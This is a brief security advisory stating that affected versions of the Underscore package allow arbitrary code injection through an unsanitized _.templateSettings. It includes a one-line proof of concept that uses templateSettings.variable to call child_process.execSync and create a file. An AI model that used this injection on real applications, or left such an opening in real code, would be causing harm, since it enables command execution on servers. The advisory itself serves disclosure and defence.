Affected versions of this package are vulnerable to Arbitrary Code Injection via the

_.templateSettings as it is not sanitized.
const _ = require('underscore'); _.templateSettings.variable = "a = this.process.mainModule.require('child_process').execSync('touch HELLO')"; const t = _.template("")();
